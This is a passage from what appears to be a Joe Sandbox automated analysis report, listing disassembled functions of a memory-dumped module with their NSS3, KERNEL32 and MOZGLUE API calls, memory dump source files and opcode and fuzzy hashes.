Part of subcall function 6C75B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8318D0,?), ref: 6C75B095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C703EEE

Part of subcall function 6C75FB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C758D2D,?,00000000,?), ref: 6C75FB85
Part of subcall function 6C75FB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C75FBB1

PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C703F02
PL_FreeArenaPool.NSS3 ref: 6C703F14
PL_FinishArenaPool.NSS3 ref: 6C703F1C

Part of subcall function 6C7664F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C76127C,00000000,00000000,00000000), ref: 6C76650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C703F27

Strings

security, xrefs: 6C703EBC

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 935ba537dc96562642d3f969817fdf63b61e9442a944089f73250fa584bfa2da
Instruction ID: 6fc9c42d5b0311e2f13885ded6ba45c189f23c0063ae00a76e12e20007efa91b
Opcode Fuzzy Hash: 935ba537dc96562642d3f969817fdf63b61e9442a944089f73250fa584bfa2da
Instruction Fuzzy Hash: 2921F8B2A04300ABD7148B15AD09FAB77A8BB4971CF44093DF959A7B41E730E618879A

Function 6C74CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6C74CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6C74CE16
PR_SetError.NSS3(00000000,00000000), ref: 6C74D079

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 3b5166052e4fe789b73349b869cde41bceacf460ffecf59a3c84ef3a51779d4e
Instruction ID: 9c91fa441209e0453d0a3962e0650bcf71c919b157c09a8c164bbd1191e66a4b
Opcode Fuzzy Hash: 3b5166052e4fe789b73349b869cde41bceacf460ffecf59a3c84ef3a51779d4e
Instruction Fuzzy Hash: B2C1A0B1A002199BDB20CF24CD84BDAB7B4BF48318F1481A8E94897751E775EE99CF94

Function 6C73DC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6C7497C1,?,00000000,00000000,?,?,?,00000000,?,6C727F4A,00000000), ref: 6C73DC68

Part of subcall function 6C760BE0: malloc.MOZGLUE(6C758D2D,?,00000000,?), ref: 6C760BF8
Part of subcall function 6C760BE0: TlsGetValue.KERNEL32(6C758D2D,?,00000000,?), ref: 6C760C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C73DD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C73DE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C73DE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C73DE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C73DF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C73DF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C73DF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6C727F4A,00000000,?,00000000,00000000), ref: 6C73DFAA

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 045038d18f7157e9b3e3757dc5a5d9422d0e9111fa156f77bd76b1d1039698b5
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 1D8138B06A25258BFB104E29CA903597ADADB70349F20A43ED91DCAFD3E774C494C60E

Function 6C713C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6C713C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6C713C94

Part of subcall function 6C7095B0: TlsGetValue.KERNEL32(00000000,?,6C7200D2,00000000), ref: 6C7095D2
Part of subcall function 6C7095B0: EnterCriticalSection.KERNEL32(?,?,?,6C7200D2,00000000), ref: 6C7095E7
Part of subcall function 6C7095B0: PR_Unlock.NSS3(?,?,?,?,6C7200D2,00000000), ref: 6C709605

PORT_NewArena_Util.NSS3(00000800), ref: 6C713CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6C713CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6C713CE1

Part of subcall function 6C713090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C72AE42), ref: 6C7130AA
Part of subcall function 6C713090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7130C7
Part of subcall function 6C713090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C7130E5
Part of subcall function 6C713090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C713116
Part of subcall function 6C713090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C71312B
Part of subcall function 6C713090: PK11_DestroyObject.NSS3(?,?), ref: 6C713154
Part of subcall function 6C713090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C71317E

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: dbf01b1e9b4ea44d432f3459ab2aae7be1cd0f784a3e2f8136d43a096fe79991
Instruction ID: e6398f4d9dead3130cfc57302371d974a7a34a43e44bfc323283872d3ed29307
Opcode Fuzzy Hash: dbf01b1e9b4ea44d432f3459ab2aae7be1cd0f784a3e2f8136d43a096fe79991
Instruction Fuzzy Hash: 1561B5B1A04300ABEB105E65DE49FA776BDAF04748F4C8078FD099AE52F731D918C7A1

Function 6C753D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6C753440: PK11_GetAllTokens.NSS3 ref: 6C753481
Part of subcall function 6C753440: PR_SetError.NSS3(00000000,00000000), ref: 6C7534A3
Part of subcall function 6C753440: TlsGetValue.KERNEL32 ref: 6C75352E
Part of subcall function 6C753440: EnterCriticalSection.KERNEL32(?), ref: 6C753542
Part of subcall function 6C753440: PR_Unlock.NSS3(?), ref: 6C75355B

TlsGetValue.KERNEL32 ref: 6C753D8B
EnterCriticalSection.KERNEL32(?), ref: 6C753D9F
PR_Unlock.NSS3(?), ref: 6C753DCA
PR_SetError.NSS3(00000000,00000000), ref: 6C753DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C753E4F

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

TlsGetValue.KERNEL32 ref: 6C753E97
EnterCriticalSection.KERNEL32(?), ref: 6C753EAB
PR_Unlock.NSS3(?), ref: 6C753ED6
PR_SetError.NSS3(00000000,00000000), ref: 6C753EEE

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: ec5aeac127be6aeb65f5a9c8901c06f5781a431fcc8de2d7ab2132dd12edbd73
Instruction ID: ff061320ae1769ee4a764b13fc62df91c5ca9770123f0cd641609f0cfcd0d0f0
Opcode Fuzzy Hash: ec5aeac127be6aeb65f5a9c8901c06f5781a431fcc8de2d7ab2132dd12edbd73
Instruction Fuzzy Hash: 42514771E002019FEB11AF69DE49B6A73F8AF45318F854178DE0947A22EF31E864CBD1

Function 6C702C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(A5012C15), ref: 6C702C5D

Part of subcall function 6C760D30: calloc.MOZGLUE ref: 6C760D50
Part of subcall function 6C760D30: TlsGetValue.KERNEL32 ref: 6C760D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C702C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C702CE0

Part of subcall function 6C702E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C702CDA,?,00000000), ref: 6C702E1E
Part of subcall function 6C702E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C702E33
Part of subcall function 6C702E00: TlsGetValue.KERNEL32 ref: 6C702E4E
Part of subcall function 6C702E00: EnterCriticalSection.KERNEL32(?), ref: 6C702E5E
Part of subcall function 6C702E00: PL_HashTableLookup.NSS3(?), ref: 6C702E71
Part of subcall function 6C702E00: PL_HashTableRemove.NSS3(?), ref: 6C702E84
Part of subcall function 6C702E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C702E96
Part of subcall function 6C702E00: PR_Unlock.NSS3 ref: 6C702EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C702D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C702D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C702D3F
free.MOZGLUE(00000000), ref: 6C702D73
CERT_DestroyCertificate.NSS3(?), ref: 6C702DB8
free.MOZGLUE ref: 6C702DC8

Part of subcall function 6C703E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C703EC2
Part of subcall function 6C703E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C703ED6
Part of subcall function 6C703E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C703EEE
Part of subcall function 6C703E60: PR_CallOnce.NSS3(6C862AA4,6C7612D0), ref: 6C703F02
Part of subcall function 6C703E60: PL_FreeArenaPool.NSS3 ref: 6C703F14
Part of subcall function 6C703E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C703F27

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 0f5141a072f3e7fd5d39799386cec90768cdee1e41bccb5f187f48719e5cf76e
Instruction ID: cb994e7b5d94ef4b8fd978588da8294331ef4618e1588d0908030055a993c513
Opcode Fuzzy Hash: 0f5141a072f3e7fd5d39799386cec90768cdee1e41bccb5f187f48719e5cf76e
Instruction Fuzzy Hash: 7D51DEB2B042129BDB119E29DE8AB5B77E5EF84348F140439EC5983751EB31EC15CB92

Function 6C728F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C728FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C728FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C728FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C729013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C729042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C72905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C729073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C7290EC

Part of subcall function 6C6F0F00: PR_GetPageSize.NSS3(6C6F0936,FFFFE8AE,?,6C6816B7,00000000,?,6C6F0936,00000000,?,6C68204A), ref: 6C6F0F1B
Part of subcall function 6C6F0F00: PR_NewLogModule.NSS3(clock,6C6F0936,FFFFE8AE,?,6C6816B7,00000000,?,6C6F0936,00000000,?,6C68204A), ref: 6C6F0F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C729111

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: adc9101c25eec0d7bfdb43b9337406391258416b7b032c6d72e0bf8f52107497
Instruction ID: e420751dd47f9d31a489ea48451b41663505dd91bdf06aabfece555f977a1b98
Opcode Fuzzy Hash: adc9101c25eec0d7bfdb43b9337406391258416b7b032c6d72e0bf8f52107497
Instruction Fuzzy Hash: 5251BE71A042058FDB50EF39C5882A9BBF1BF0A318F095579DC448B716EB39E885CBC1

Function 6C707CC0 Relevance: 13.6, APIs: 9, Instructions: 132threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C7040D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C703F7F,?,00000055,?,?,6C701666,?,?), ref: 6C7040D9
Part of subcall function 6C7040D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6C701666,?,?), ref: 6C7040FC
Part of subcall function 6C7040D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6C701666,?,?), ref: 6C704138

PR_GetCurrentThread.NSS3 ref: 6C707CFD

Part of subcall function 6C7C9BF0: TlsGetValue.KERNEL32(?,?,?,6C810A75), ref: 6C7C9C07

SECITEM_ItemsAreEqual_Util.NSS3(?,6C829030), ref: 6C707D1B

Part of subcall function 6C75FD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C701A3E,00000048,00000054), ref: 6C75FD56

SECITEM_ItemsAreEqual_Util.NSS3(?,6C829048), ref: 6C707D2F
SECITEM_CopyItem_Util.NSS3(00000000,?,00000000), ref: 6C707D50
PR_GetCurrentThread.NSS3 ref: 6C707D61
PORT_ArenaMark_Util.NSS3(?), ref: 6C707D7D
free.MOZGLUE(?), ref: 6C707D9C
CERT_CheckNameSpace.NSS3(?,00000000,00000000), ref: 6C707DB8
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C707E19

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Util$CurrentEqual_ErrorItem_ItemsThread$ArenaCheckCompareCopyFindMark_NameSpaceTag_Valuefreememcmp
String ID:
API String ID: 70581797-0
Opcode ID: 339946b029bd5e7d5ba5c571765c9e27ffdefa9011af83470b0aa05a5bd8c80c
Instruction ID: 683b21314a5bc0a4357cc56a2d43ecabd00d0af3d8f069203bb21ffa1a346837
Opcode Fuzzy Hash: 339946b029bd5e7d5ba5c571765c9e27ffdefa9011af83470b0aa05a5bd8c80c
Instruction Fuzzy Hash: C441E6B2B0011A9BDF009E699E4ABAF37E4AF5035CF050074EC19ABB51E730E955C7E1

Function 6C717EB0 Relevance: 13.6, APIs: 9, Instructions: 124threadCOMMON

Download Yara Rule

APIs

free.MOZGLUE(?,00000000,00000000,?,?,?,6C7180DD), ref: 6C717F15
DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,?,?,6C7180DD), ref: 6C717F36
free.MOZGLUE(?,?,?,6C7180DD), ref: 6C717F3D
SECOID_Shutdown.NSS3(00000000,00000000,?,?,?,6C7180DD), ref: 6C717F5D
DeleteCriticalSection.KERNEL32(?,6C7180DD), ref: 6C717F94
free.MOZGLUE(?), ref: 6C717F9B
PR_SetError.NSS3(FFFFE08B,00000000,6C7180DD), ref: 6C717FD0
PR_SetThreadPrivate.NSS3(FFFFFFFF,00000000,6C7180DD), ref: 6C717FE6
free.MOZGLUE(?,6C7180DD), ref: 6C71802D

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection$ErrorPrivateShutdownThread
String ID:
API String ID: 4037168058-0
Opcode ID: d511b1ffabcda95c23e49383c4157a7a378d78c07404c7e0a80c93f2815f6f51
Instruction ID: 7c62dd718aea76ee73f3694211b06e6f1bf045f57f7b5a98339069cb4796855a
Opcode Fuzzy Hash: d511b1ffabcda95c23e49383c4157a7a378d78c07404c7e0a80c93f2815f6f51
Instruction Fuzzy Hash: 93412AB1B091008BDB209FBAC98DA5737B9AB4735CF091279E51983F80D738E415CBD1

Function 6C75FEE0 Relevance: 13.6, APIs: 9, Instructions: 120memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C75FF00

Part of subcall function 6C7AC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7AC2BF

PORT_ArenaMark_Util.NSS3(?), ref: 6C75FF18
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C75FF26
PORT_ArenaMark_Util.NSS3(?), ref: 6C75FF4F
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C75FF7A
memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C75FF8C

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_Mark_$ErrorValuememset
String ID:
API String ID: 1233137751-0
Opcode ID: 5871d7baadfcb6a83194fd4b9348b65b472eee610c63f513ab00a2162476f5b8
Instruction ID: a3009305d50ddd68e876f27f48a9fc1371623d8c7d4927669d8a47505921bb82
Opcode Fuzzy Hash: 5871d7baadfcb6a83194fd4b9348b65b472eee610c63f513ab00a2162476f5b8
Instruction Fuzzy Hash: FD3168F2D053129BEB108E9A9E48B5B76A8AF42348F140139ED19D7F80FB72D924C7D1

Function 6C6A7D70 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 179COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6A7E27
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C6A7E67
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001065F,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000003,?,?), ref: 6C6A7EED
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001066C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6A7F2E

Strings

database corruption, xrefs: 6C6A7EE2, 6C6A7F23
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6A7ED8, 6C6A7F08, 6C6A7F19
%s at line %d of [%.10s], xrefs: 6C6A7EE7, 6C6A7F28

Memory Dump Source

Source File: 00000000.00000002.2098466358.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2098422136.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098764591.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2098950907.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099030732.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099193680.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2099235290.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: d52a70442126236f669d538aa29c9fcc9d84cc6982b9d1c744fab6506b6d1416
Instruction ID: f934cb1a5310f45ec70ad8afe6eb488bc7752c5ef8b436400a870b9e9f4cb30d
Opcode Fuzzy Hash: d52a70442126236f669d538aa29c9fcc9d84cc6982b9d1c744fab6506b6d1416
Instruction Fuzzy Hash: 4761C274A042159FCB15CFA5C890BAA37B2BF86308F1449A8EC085BB56D730EC57CBE5

Function 6C68FCF0 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 155COMMON

Download Yara Rule

APIs

